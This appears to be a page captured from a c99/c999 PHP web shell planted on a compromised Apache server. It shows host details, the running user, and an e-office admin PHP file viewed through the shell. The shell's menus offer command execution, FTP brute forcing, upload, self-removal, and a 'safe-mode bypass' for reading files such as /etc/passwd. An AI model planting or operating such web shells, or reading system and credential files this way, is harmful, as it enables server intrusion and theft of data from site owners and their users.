!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     editrecordPerPage.php (2.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../link/keyThai.php";
include_once 
"../class/clspsdept.php";
include_once 
"getPrefix.php";
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$oPSd = new psdept($oC);
$maxdocgroup=$oDP->SearchMaxDocGroup();
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<iframe id="changeDept" name="changeDept" src="" style="width:0px;height:0px;border:0"></iframe>
<br>
<table  width=703  align="center">
<tr><td height="150">
<fieldset>
 <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">ตั้งค่าการใช้งานระบบ</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="sysConfig.php">ตั้งค่าทั่วไป</a>  <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">กำหนดจำนวนรายการต่อหน้า</font></legend>
      </font></legend><br>
     <form name="ff"  METHOD="POST" action="processRecordPerPage.php">
                 <?            $oPS->SearchByKey($ps); $oPS->GetRecord();  
                
?>
  <table width="80%" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr>
            <td height="30" align="left">&nbsp;&nbsp;&nbsp;&nbsp;
            <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>"><strong>ชื่อ - นามสกุล :: </strong></font><? echo GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName;  ?></td>
          </tr>
          <tr><td height="25">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>"><strong>กำหนดจำนวนรายการต่อหน้า</strong></font>
          &nbsp;<input name="recordPerPage" id="recordPerPage"  type="text" size="10" maxlength="10" value="<? echo $oPS->recordPerPage;?>" onkeypress="return isNumberKey('<? echo $InputThai?>',event)">
          </td></tr>
          <tr><td>&nbsp;</td></tr>
          <tr><td align="center">
          <input name="name" type="hidden" value="<?php echo $name?>">
           <input name="ps" type="hidden" value="<?php echo $ps?>">
           <input name="method" type="hidden">
          <input name="addpsdept" type="submit" value="บันทึก">
          <input type="button" name="cancel" value="กลับหน้าหลัก" onClick="location.href = 'recordPerPage.php?name=<? echo $name?>'"></td></tr>
          </table> </form>
</fieldset>
<br><br> <br><br> <br><br>
</td>
</tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0146 ]--